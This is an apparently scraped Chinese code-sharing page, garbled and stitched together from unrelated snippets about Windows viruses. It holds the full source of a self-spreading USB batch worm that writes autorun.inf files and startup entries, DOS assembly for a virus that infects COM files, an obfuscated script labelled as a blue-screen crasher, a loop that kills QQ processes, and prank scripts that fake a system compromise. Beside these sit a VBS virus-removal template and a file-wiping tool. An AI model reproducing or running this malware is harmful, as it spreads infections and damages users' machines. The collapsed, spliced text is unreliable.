d.exe2>nulmdc:\windows\WinForm.exe2>nulmdc:\windows\system32\rsjzbpm.dll2>nul??mdc:\windows\system32\cmdbcs.dll2>nulmdc:\windows\system32\upxdnd.dll2>nulmdc:\windows\system32\yfmtdiouaf.dll2>nulmdc:\windows\nvdispdrv.exe2>nulmdc:\windows\49400MM.DLL2>nulmdc:\windows\338448WO.dll2>nulmdc:\windows\235780MM.dll2>nulmdc:\windows\235780WO.DLL2>nulattribc:\windows\IGW.exe+s+r+h+a2>nulattribc:\windows\AVPSrv.exe+s+r+h+a2>nulattribc:\windows\DiskMan32.exe+s+r+h+a2>nulattribc:\windows\IGM.exe+s+r+h+a2>nulattribc:\windows\Kvsc3.exe+s+r+h+a2>nulattribc:\windows\lqvytv.exe+s+r+h+a2>nulattribc:\windows\MsIMMs32.exe+s+r+h+a2>nulattribc:\windows\system32\3CEBCAF.exe+s+r+h+a2>nulattribc:\windows\system32\racvsvc.exe+s+r+h+a2>nulattribc:\windows\nvdispdrv.exe+s+r+h+a2>nulattribc:\windows\dbghlp32.exe+s+r+h+a2>nulattribc:\windows\system32\drivers\svchost.exe+s+r+h+a2>nulattribc:\windows\system32\a.exe+s+r+h+a2>nulattribc:\windows\upxdnd.exe+s+r+h+a2>nulattribc:\windows\WinForm.exe+s+r+h+a2>nulattribc:\windows\system32\rsjzbpm.dll+s+r+h+a2>nulattribc:\windows\system32\cmdbcs.dll+s+r+h+a2>nulattribc:\windows\system32\upxdnd.dll+s+r+h+a2>nulattribc:\windows\system32\yfmtdiouaf.dll+s+r+h+a2>nulattribc:\windows\nvdispdrv.exe+s+r+h+a2>nulattribc:\windows\49400MM.DLL+s+r+h+a2>nulattribc:\windows\338448WO.dll+s+r+h+a2>nulattribc:\windows\235780WO.DLL+s+r+h+a2>nulattribc:\windows\235780MM.dll+s+r+h+a2>nulechoy|caclsc:\windows\235780MM.dll/deveryone2>nulechoy|caclsc:\windows\235780WO.DLL/deveryone2>nulechoy|caclsc:\windows\338448WO.dll/deveryone2>nulechoy|caclsc:\windows\49400MM.DLL/deveryone2>nulechoy|caclsc:\windows\nvdispdrv.exe/deveryone2>nulechoy|caclsc:\windows\system32\yfmtdiouaf.dll/deveryone2>nulechoy|caclsc:\windows\system32\upxdnd.dll/deveryone2>nulechoy|caclsc:\windows\WinForm.exe/deveryoneechoy|caclsc:\windows\system32\cmdbcs.dll/deveryone2>nulechoy|caclsc:\windows\system32\rsjzbpm.dll/deveryone2>nulechoy|caclsc:\windows\upxdnd.exe/deveryone2>nulechoy|caclsc:\windows\system32\a.exe/deveryone2>nulechoy|caclsc:\windows\system32\drivers\svchost.exe/deveryone2>nulechoy|caclsc:\windows\dbghlp32.exe/deveryone2>nulechoy|caclsc:\windows\nvdispdrv.exe/deveryone2>nulechoy|caclsc:\windows\system32\racvsvc.exe/deveryone2>nulechoy|caclsc:\windows\system32\3CEBCAF.exe/deveryone2>nulechoy|caclsc:\windows\lqvytv.exe/deveryone2>nulechoy|caclsc:\windows\MsIMMs32.exe/deveryone2>nulechoy|caclsc:\windows\Kvsc3.exe/deveryone2>nulechoy|caclsc:\windows\IGM.exe/deveryone2>nulechoy|caclsc:\windows\DiskMan32.exe/deveryone2>nulechoy|caclsc:\windows\AVPSrv.exe/deveryone2>nulechoy|caclsc:\windows\IGW.exe/deveryone2>nulechoecho????????????????????????????????????????????????????echo??????????????????????免疫完成??????????????????????????echo????????????????????????????????????????????????????echoechoecho????????????????????????????????????????????????????echo??????????????????????现在进行AV免疫??????????????????????echo????????????????????????????????????????????????????echofor%%xin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)domd%%x:\hfhludy.exe>nul2>nulfor%%yin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)domd%%y:\hfhludy.exe\1..\>nul2>nulfor%%rin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)doattrib%%r:\hfhludy.exe+s+h+r+a>nul2>nulfor%%uin(c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)doechoy|cacls%%u:\hfhludy.exe/deveryone>nul2>nulechoecho????????????????????????????????????????????????????echo??????????????????????免疫完成??????????????????????????echo????????????????????????????????????????????????????????echoechoecho????????????????????????????????????????????????????echo??????????????????现在进行病毒下载器免疫????????????????????echo????????????????????????????????????????????????????echomdc:\windows\system32\conime.exe.tmp22>nulattribc:\windows\system32\conime.exe.tmp2+s+h+r+a2>nulechoy|caclsc:\windows\system32\conime.exe.tmp2/deveryone2>nulechoecho????????????????????????????????????????????????????????echo??????????????????????免疫完成????????????????????????echo????????????????????????????????????????????????????????echoechoecho????????????????????????????????????????????????????echo??????????????????????????????????????????????????????????echo??????????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo??????????????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo????????????????????????????????????????????????????echo????????????????????????????????????????????????????echopause 禁止QQ上网的vbs脚本代码dimbag,pipe,honker,gooddogood="."setbag=getobject("winmgmts:\\"&good&"\root\cimv2")setpipe=bag.execquery("selectfromwin32_processwherename=''QQ.exe''")foreachiinpipei.terminate()nextwscript.sleep1loop病毒专杀VBS模块“病毒专杀VBS模块.vbs”这个文件你可以直接执行,不会有任何破坏^^。

提供专杀模板,你就可以根据你分析出的病毒行为写出自己的病毒专杀工具。

非常的方便,非常的高效!

作为一个反病毒人士不应该仅仅能分析好病毒日志,还要知道如何分析病毒行为!

进而给出自己的解决方案!

这个解决方案并不一定非得用到网上那些出名的小软件icesword之类的。

因为你也可以自己写专杀,只要你学过VBS就行!

VBS代码很简单,和VB、VBSCRIPT是如出一辙的……

自然bat批处理(DOS命令)也可以写专杀,只要是编程语言大多数都是可以方便地写出专杀的。

呵~~这次你所要了解的就是如何用VBS来写专杀,我已经给出模板了,不了解的而你又真的有兴趣了解,可以到我的博客http://hi.baidu.com/ycosxhack来和我交流。

祝你好运:)。写专杀绝对是很快乐的事哦,因为你的专杀可以帮助很多朋友。

最后感谢好友小G(http://hi.baidu.com/greysign)与UMU(http://hi.baidu.com/umu618)复制代码代码如下:''查看更多关于此病毒专杀模板信息:http://hi.baidu.com/ycosxhack/modify/blog/36569f51dbd0cc8e8c5430d8

''-----------------病毒专杀VBS模板源码开始-----------------onerrorresumenextmsgbox"本专杀有ycosxhack提供http://hi.baidu.com/ycosxhack!",64,"xxx病毒专杀"''本专杀模板有ycosxhack(余弦函数)制作,我的博客:http://hi.baidu.com/ycosxhack,欢迎讨论。

''-----------------病毒进程结束模块开始-----------------setw=getobject("winmgmts:")setp=w.execquery("selectfromwin32_processwherename=''rundll.exe''")foreachiinpi.terminatenext''-----------------病毒进程结束模块终止-----------------

''-----------------插入型dll病毒释放模块开始-----------------setWSHShell=wscript.createobject("wscript.shell")WSHShell.run("ps/ehook.dll"),0,true''请将第三方程序ps.exe与本专杀放在同一目录下''-----------------插入型dll病毒释放模块终止-----------------

''-----------------病毒文件删除模块开始-----------------setfso=createobject("scripting.filesystemobject")setdel=wscript.createobject("wscript.shell")d1=del.ExpandEnvironmentStrings("%temp%\rundll.exe")d2=del.ExpandEnvironmentStrings("%SystemRoot%\rundll86.exe")d3=del.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll86.exe")setv1=fso.getfile(d1)setv2=fso.getfile(d2)setv3=fso.getfile(d3)setv4=fso.getfile("d:\virus\virus.exe")''没涉及到环境变量的可以直接这样写。v1.attributes=0v2.attributes=0v3.attributes=0v4.attributes=0v1.deletev2.deletev3.deletev4.delete''-----------------病毒文件删除模块终止-----------------

''-----------------遍历删除各盘符根目录下病毒文件模块开始-----------------setfso=createobject("scripting.filesystemobject")setdrvs=fso.drivesforeachdrvindrvsifdrv.drivetype=1ordrv.drivetype=2ordrv.drivetype=3ordrv.drivetype=4thensetw=fso.getfile(drv.driveletter&":\rundll.exe")w.attributes=0w.deletesetu=fso.getfile(drv.driveletter&":\autorun.inf")u.attributes=0u.deleteendifnext''-----------------遍历删除各盘符根目录下病毒文件模块终止-----------------

''-----------------注册表操作模块开始-----------------setreg=wscript.createobject("wscript.shell")reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit",fso.GetSpecialFolder(1)&"\userinit.exe,","REG_SZ"reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"reg.regdelete"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"''-----------------注册表操作模块终止-----------------

''-----------------系统文件恢复模块开始-----------------setfso=createobject("scripting.filesystemobject")fso.getfile("rundll32.exe").copy("c:\windows\system32\rundll32.exe")fso.getfile("rundll32.exe").copy("C:\WINDOWS\system32\dllcache\rundll32.exe")''-----------------系统文件修复模块终止-----------------

''-----------------HOST文件修复模块开始-----------------setfso=createobject("scripting.filesystemobject")setre=fso.OpenTextFile("C:\WINDOWS\system32\drivers\etc\hosts",2,0)re.Writeline"127.0.0.1localhost"re.Writeline"127.0.0.1www.你要屏蔽的恶意网址或IP.com"re.Closesetre=nothing''-----------------HOST文件修复模块终止-----------------

''-----------------Autorun免疫模块开始-----------------setfso=createobject("scripting.filesystemobject")setdrvs=fso.drivesforeachdrvindrvsifdrv.drivetype=1ordrv.drivetype=2ordrv.drivetype=3ordrv.drivetype=4thenfso.createfolder(drv.driveletter&":\autorun.inf")fso.createfolder(drv.driveletter&":\autorun.inf\免疫文件夹..\")setfl=fso.getfolder(drv.driveletter&":\autorun.inf")fl.attributes=3endifnext''-----------------Autorun免疫模块终止-----------------

''-----------------ARP病毒欺骗--客户端免疫模块开始-----------------setWshShell=wscript.createobject("wscript.shell")WshShell.run"arp-d",0WshShell.run"arp-s202.4.139.100-07-ec-23-f8-0a",0,true''-----------------ARP病毒欺骗--客户端免疫模块终止-----------------

setfso=nothingmsgbox"病毒清除成功,请重启电脑!",64,"xxx病毒专杀"''-----------------病毒专杀VBS模板源码终止-----------------

?

每次去机房用U盘总是染毒,今天把病毒代码抓出来了。

?

大家把下面代码复制到记事本上,无论存为txt还是bat。双击打开时,卡巴斯基和金山毒霸都会报毒。瑞星则不会。(瑞星对这方面病毒比较垃圾)。下面是毒的源代码。供大家学习和研究。@echo?offsetlocal?ENABLEDELAYEDEXPANSION?ENABLEEXTENSIONScd?/d?"%~dp0"if?/i?"%cd%"=="%~d0\"?(explorer.exe?"%~d0")set?v=01set?"endf=%systemdrive%\8bye.txt"call:ie?s.vbeecho.Wscript.sleep?10000>s.vbeattrib?s.vbe?+a?+s?+r?+hif?/i?not?"%cd%"=="%systemroot%"?(call:cb&del?/a?/f?/q?s.vbe&goto?:eof)set?dl=CDEFGHIJKLMNOPQRSTUVWXYZset?n=0call:inf?>inf.temcall:qluda.amd?"%systemroot%\bakfiles\"call:ie?"%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"copy?uda-解压.bat?"%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"call:ie?"%systemroot%\bakfiles\uda.a"call:copy?uda.a?"%systemroot%\bakfiles\":secho.?>uhere-%v%.txtif?exist?"%endf%"?(set?n=1&goto?end)if?"!dl:~%n%,1!"==""?(set?n=0&s.vbe&(ping?192.168.2.211?-n?1?&&call?\\192.168.2.211\re$\add.bat))set?d=!dl:~%n%,1!:set?/a?n=n+1if?not?exist?%d%?(goto?s)if?exist?"%d%\autorun.inf\"?(echo.y|cacls?"%d%\autorun.inf"?/p?everyone:frd?"%d%\autorun.inf"?/s?/q)if?exist?"%d%\autorun.inf"?(fc?"%d%\autorun.inf"?inf.tem&if?not?"!ERRORLEVEL!"=="0"?(call?U盘病毒分析.bat?-a?-l?-d?%d:~0,-1%?-c?-i?-s&goto?s1))?else?(goto?s1)if?not?exist?"%d%\%~n0.vbe"?(goto?s2)if?not?exist?"%d%\%~nx0"?(goto?s3)if?not?exist?"%d%\uda.a"?(goto?s4)if?exist?%d%\%date:~0,10%.sk?(goto?s):s1call:inf?>%d%\autorun.infattrib?%d%\autorun.inf?+a?+s?+r?+hcall:ie?"%d%\%~n0.vbe":s2call:vbe?"%~nx0"?>"%d%\%~n0.vbe"attrib?"%d%\%~n0.vbe"?+a?+s?+r?+h:s3call:copy?"%~dpnx0"?"%d%\":s4call:copy?"uda.a"?"%d%\"call:ie?%d%\.skecho.>%d%\%date:~0,10%.skattrib?%d%\%date:~0,10%.sk?+a?+s?+r?+hgoto?s:cbif?exist?"%systemroot%\uhere-.txt"?(del?/a?/f?/q?"%systemroot%\uhere-.txt"&s.vbe)if?exist?"%systemroot%\uhere-.txt"?(if?exist?"%systemroot%\uhere-%v%.txt"?(goto?:eof)?else?(call:v?"%systemroot%\uhere-.txt"&(if?%v%?lss?!v0!?(goto?:eof))))call:rm?>%systemdrive%\已经被反U盘病毒的“病毒”感染.txtcall:copy?"%~dpnx0"?"%systemroot%\"call:copy?"uda.a"?"%systemroot%\"call:ie?"%systemroot%\%~n0.vbe"call:vbe?"%~nx0"?>"%systemroot%\%~n0.vbe"call:ie?"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"call:vbe?"%systemroot%\%~nx0"?>"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"start?""?/wait?/d?"%systemroot%\"?"%systemroot%\%~n0.vbe"goto?:eof:vset?"v0=%~nx1"set?/a?"v0=%v0:~6,2%"goto?:eof:rmecho.看到这个,请不要慌张。电脑病毒的定义为:1、传播性;2、潜伏性;3、破坏性。根据此定义,本脚本这完全符合1,有点符合2,不符合3(若说破坏性也不是没有,但只针对U盘病毒,而且会在删除文件前备份,备份地址:%systemroot%\bakfiles\),因此,病毒二字加了引号,即不是真正的病毒。本脚本的目的是通过U盘传播,并沿途清理U盘中的病毒,如果可能,会把收集到的病毒文件发给作者;不会给您造成太多不便(与其被U盘病毒感染,不如被本脚本感染啦)。如果您觉得这样给您造成了不便,想卸载本脚本,请在%systemdrive%\下新建一个名为8bye的文本文件(不需要写入内容,即:新建%endf%),大约在20秒内完成卸载,并帮助您进行U盘病毒免疫。欲了解更多,请打开?U盘病毒分析?的自述文件(地址:%systemroot%\readme.txt)。谢谢!echo.包含文件:u.bat(本文件,4240字节)、uda.a(21674字节,md5:e6762ebf6123bc17ab31995c61bba955)echo.为研究性学习而制作,于2007-03-15,望多多支持!作者:CyyIsGood(肇中高一11),联系:cyyisgood@126.comgoto?:eof:vbeecho.wscript.createobject("wscript.shell").run?"""%~1""?/start",0goto?:eof:infecho.[AutoRun]echo.open=wscript.exe?%~n0.vbeecho.shell\open\Command=wscript.exe?%~n0.vbeecho.shell\explore\Command=wscript.exe?%~n0.vbeecho.shell\find\Command=wscript.exe?%~n0.vbegoto?:eof:ieif?exist?"%~1"?(del?/a?/f?/q?"%~1")goto?:eof:copycall:ie?"%~dp2%~nx1"attrib?"%~1"?-s?-hcopy?"%~1"?"%~dp2"attrib?"%~1"?+s?+hattrib?"%~dp2%~nx1"?+s?+hgoto?:eof:qlcd?/d?"%systemroot%\"del?/a?/f?/q?Anti-U盘免疫.bat?ReadMe.txt?uda-解压.bat?U盘病毒分析.bat?zap.a?主操控.bat?打开发送功能.batcd?/d?"%~dp0"goto?:eof:endset?d=!dl:~%n%,1!echo.%d%:\if?exist?%d%:\?(del?/a?/f?/q?%d%:\u.vbe?%d%:\u.bat?%d%:\uda.a)set?/a?n=n+1if?not?"!dl:~%n%,1!"==""?goto?endcall?U盘病毒分析.bat?-c&call:ql&del?/a?/f?/q?"%systemdrive%\已经被反U盘病毒的“病毒”感染.txt"?"%~dp0s.vbe"?"%endf%"?inf.tem?"uda.a"?"%~n0.vbe"?"uhere-%v%.txt"?"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"?"%~nx0" [转载]彻底删除文件工具代码

应该是不可恢复的,因为我是在删除前改写文件内容,最多恢复的也是改写后的内容。标准的做法应该是去系统文件表查询文件的每块具体位置,然后在这些位置上写入垃圾数据。不过太麻烦了,所以找了下面这个折衷的办法。或许有人会说,那我还不如自己动手,先改内容,再保存,再删除。是啊,我的这个程序还真没什么用场。。。。#include"windows.h"#include"stdio.h"#pragmacomment(lib,"kernel32.lib")//GlobalVariablesDeclarationcharpFileName=NULL;HANDLEhFileDel;//ERRORHandleFunctionvoidErrorExit(LPTSTRlpszFunction){TCHARszBuf[80];LPVOIDlpMsgBuf;DWORDdw=GetLastError();FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,NULL,dw,MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPTSTR)&lpMsgBuf,0,NULL);wsprintf(szBuf,"%sfailedwitherror%d:%s",lpszFunction,dw,lpMsgBuf);MessageBox(NULL,szBuf,"Error",MB_OK);LocalFree(lpMsgBuf);ExitProcess(dw);}//MainFunctionintmain(intargc,charargv[]){if(argc!=2){printf("CommandFormat:%sfilename\n",argv[0]);return-1;}pFileName=argv[1];//thefiletobedeleted//TODO:OpentheTargetFilehFileDel=CreateFile(pFileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if(hFileDel==INVALID_HANDLE_VALUE)//filecannotbeopened{ErrorExit("CreatFile");return-1;}LPSTRRubbishBuffer;DWORDdwBytesWritten;DWORDdwBufferLength;//TODO:GetFileSizedwBufferLength=GetFileSize(hFileDel,NULL);//TODO:ConstructtheRubbishBufferintBufferSize=(int)dwBufferLength;inti;//loopcountercharRubbishData[BufferSize],p;p=RubbishData;for(i=0;i
间单的病毒代码

?

;-----------------------------------------;功能:感染当前文件夹的test.com文件;并删除当前文件夹的del.txt文件;显示预设的字符串CSEGSEGMENTASSUMECS:CSEG,DS:CSEG,SS:CSEGmainPROCNEARmainstart:CALLvstart;病毒的代码开始处vstart:POPSI;得到当前地址MOVBP,SI;保存当前地址PUSHSIMOVAH,9ADDSI,OFFSETmessage-OFFSETvstart;显示预设字符串MOVDX,SIINT21hPOPSIADDSI,OFFSETyuan4byte-OFFSETvstart;取得原程序中的前四个字节MOVDI,100h;目的地址MOVAX,DS:[SI];开始复制MOVDS:[DI],AXINCSIINCSIINCDIINCDIMOVAX,DS:[SI]MOVDS:[DI],AXMOVSI,BP;恢复地址值MOVDX,OFFSETdelname-OFFSETvstartADDDX,SIMOVAH,41hINT21hMOVDX,OFFSETfilename-OFFSETvstart;得到文件名ADDDX,SIMOVAL,02MOVAH,3dh;写文件INT21hJCerrorMOVBX,AX;文件句柄MOVDX,OFFSETyuan4byte-OFFSETvstart;读文件的前四个字节ADDDX,SIMOVCX,4MOVAH,3fhINT21hMOVAX,4202h;到文件尾XORCX,CXXORDX,DXINT21hMOVDI,OFFSETnew4byte-OFFSETvstart;保存要跳的地方ADDDI,2ADDDI,SISUBAX,4MOVDS:[DI],AXADDSI,OFFSETmainstart-OFFSETvstart;准备写入病毒MOVDX,SIMOVvsizes,OFFSETvends-OFFSETmainstartMOVCX,vsizesMOVAH,40hINT21hMOVSI,BP;定位到文件头MOVAL,0XORCX,CXXORDX,DXMOVAH,42hINT21hMOVAH,40h;将新的文件头写入MOVCX,4MOVDX,OFFSETnew4byte-OFFSETvstartADDDX,SIINT21hMOVAH,3eh;关闭文件INT21herror:MOVAX,100hPUSHAXRETmainENDPyuan4byte:RETDB3DUP(?)vsizesDW0new4byteDB‘M‘,0e9h,0,0filenameDB"test.com",0delnameDB"del.txt",0messageDB"Hehehehe!"DB0dh,0ah,"$"vends:start:MOVAX,CSEGMOVDS,AXMOVSS,AXCALLmainMOVAX,4c00hINT21hCSEGENDSENDstart以上就是一个简单的可以传染COM文件的程序代码,也是想当初我所做的具有传染性质的第一个程序。如何???不难吧。附:COM文件执行时将COM文件内所的所有内容COPY到内存,起始地址是100,然后进行执行没有任何有关节啦、段啦这些属性,所以COM文件病毒是最简单最简单的病毒。}

?

vbs整人代码(要可以用)我直接COPY到记事本里,所以别打错了。

?

?

---------------------------------------------------------------------

代码:

Setws=WScript.CreateObject("WScript.Shell")

ws.popup"大家好,我就是改变社会风气,风魔万千少女,刺激电影市道,提高年轻人内涵,",10,"闪亮登场",64

ws.popup"玉树临风,风度翩翩的……“咕噜…咕噜…”,不好意思,我内急先闪了,再见!",15,"farewell",64

wscript.sleep100000

ws.popup"发现重要windows更新未安装,系统将自动下载更新并安装",10

ws.popup"正在下载windows更新……",12

wscript.sleep10000

ws.popup"windows更新已下载完毕,正在安装更新……",12

wscript.sleep3000

msgbox"系统检测到WINDOWS更新中携带有不明软件comcontroler.exe,并在强行嵌入你的电脑",4132,"是否对其进行扫描?"

msgbox"软件名:comcontroler.exe"&vbcrlf&""&vbcrlf&"大小:1.21MB"&vbcrlf&""&vbcrlf&"发行者:幻想丶永恒(403746401)"&vbcrlf&""&vbcrlf&"安全状况:有病毒",vbinformation

msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"

msgbox"阻止失败,请检查防火墙是否开启"

wscript.sleep15000

ws.popup"windows更新安装成功!",vbinfmation,20

msgbox"您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation

ws.popup"哈哈,我已经控制了你的电脑!",12,"很高兴见到你",64

ws.popup"不信?我用你的电脑打开我的QQ空间给你看看",10

ws.run"http://user.qzone.qq.com/1021435988/infocenter"

msgbox"警告:为了您的电脑安全,请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation

ws.popup"我再打开中国神泣官方网站",10

ws.run"http://shaiya.gtgame.com.cn/index.htm"

ws.popup"现在相信了吧?我再打开你的记事本给你写封英语信",20

ws.popup"记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完。否则引起系统混乱我可不负责!"

ws.run"notepad",3:wscript.sleep2000??

verybat=split("dear,friends,~,??nice,to,meet,you,i,am,so,sorry,that,i,controled,your,computer,without,you,allowing,~,please,excuse,me,i,want,to,say,to,you,today,~,my,friends,so,even,through,we,face,the,difficulties,of,today,and,tomorrow,~,still,have,a,dream,it,is,a,dream,deeply,rooted,in,our,common,dreams,~,Maybe,it''s,true,that,we,do,not,know,what,we,have,got,until,we,lose,it,~,but,it??,is,also,true,that,we,do,not,know,what,we,have,been,missing,until,it,arrives,.see,you,later,~,with,the,best,wishes,~,????????????????????yours,~,??????????????????????lhj",",")



---------------------------------------------------------------------



代码2:

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)

WScript.Echo("你是可爱的XX童鞋吗?")

WScript.Echo("哈,我想你拉,这你都不知道吗?")

WScript.Echo("怎么才来,说~是不是不关心我")

WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")

WScript.Echo("夜黑很生气,后果很严重哦。")

WScript.Echo("嘿嘿!你也会很惨滴哦")

WScript.Echo("是不是想清除我?")

WScript.Echo("那你要点上100下哦,不过会给你惊喜滴")

WScript.Echo("还剩100下,快点点哦")

WScript.Echo("还剩99下,快点,小笨蛋!")

WScript.Echo("还剩98下对,就这样快点点!")

WScript.Echo("还剩97下。你啊就是笨,要快哦,我先不打扰你工作。")

WScript.Echo("还剩96下,记得要快哦!")

WScript.Echo("还剩95下")

WScript.Echo("还剩94下")

WScript.Echo("还剩93下")

WScript.Echo("还剩92下")

WScript.Echo("还剩91下")

WScript.Echo("还剩90下")

WScript.Echo("还剩89下")

WScript.Echo("还剩88下")

WScript.Echo("还剩87下")

WScript.Echo("还剩86下")

WScript.Echo("还剩85下")

WScript.Echo("还剩84下")

WScript.Echo("还剩83下")

WScript.Echo("还剩82下")

WScript.Echo("还剩81下")

WScript.Echo("还剩80下")

WScript.Echo("还剩79下")

WScript.Echo("还剩78下")

WScript.Echo("还剩77下")

WScript.Echo("还剩76下")

WScript.Echo("还剩75下")

WScript.Echo("还剩74下")

WScript.Echo("还剩73下")

WScript.Echo("还剩72下")

WScript.Echo("还剩71下")

WScript.Echo("还剩70下")

WScript.Echo("还剩69下")

WScript.Echo("还剩68下")

WScript.Echo("还剩67下")

WScript.Echo("还剩66下")

WScript.Echo("还剩65下")

WScript.Echo("还剩64下")

WScript.Echo("还剩63下")

WScript.Echo("还剩62下")

WScript.Echo("还剩61下")

WScript.Echo("还剩60下")

WScript.Echo("还剩59下")

WScript.Echo("还剩58下")

WScript.Echo("还剩57下")

WScript.Echo("还剩56下")

WScript.Echo("还剩55下")

WScript.Echo("还剩54下")

WScript.Echo("还剩53下")

WScript.Echo("还剩52下")

WScript.Echo("还剩51下")

WScript.Echo("还剩50下")

WScript.Echo("还剩49下")

WScript.Echo("还剩48下")

WScript.Echo("还剩47下")

WScript.Echo("还剩46下")

WScript.Echo("还剩45下")

WScript.Echo("还剩44下")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩31下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下")

WScript.Echo("还剩12下")

WScript.Echo("还剩11下")

WScript.Echo("还剩10下")

WScript.Echo("还剩9下")

WScript.Echo("还剩8下")

WScript.Echo("还剩7下")

WScript.Echo("还剩6下")

WScript.Echo("还剩5下")

WScript.Echo("还剩4下")

WScript.Echo("还剩3下")

WScript.Echo("还剩2下")

WScript.Echo("还剩1下")

WScript.Echo("还剩0下")

WScript.Echo("哎看你可怜,饶了你吧")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下停停!!!慢点,我有话要说")

WScript.Echo("还剩下,你继续点我就会消失滴")

WScript.Echo("还剩下,以后就看不到我拉。呜呜~555555")

WScript.Echo("还剩下,你现在可以选择停止!")

WScript.Echo("还剩下。你还点啊,不要我拉?")

WScript.Echo("还剩下,有点伤心拉,干嘛丢弃人家")

WScript.Echo("还剩下。疯了,你有点负意!")

WScript.Echo("还剩下。对。你就点吧,我恨你!")

WScript.Echo("还剩下,不明白,删除我你就好吗?")

WScript.Echo("还剩下!真要删除我?")

WScript.Echo("还剩下。可是我真的很眷恋你。。。")

WScript.Echo("还剩下。不要这么绝情嘛,人家是爱你的!")

WScript.Echo("还剩下。哼,既然你这么绝情。也别怪我无义!!!")

WScript.Echo("我本因该消失的,不过我留恋你滴芳容,万能的上帝又给了一次机会。")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")



---------------------------------------------------------------------



蓝屏代码:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-



23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-



13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103



,98,111,120,32,34,-15133,89,-13899,-20026,-



20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-



14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-



13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-



24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-



18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1



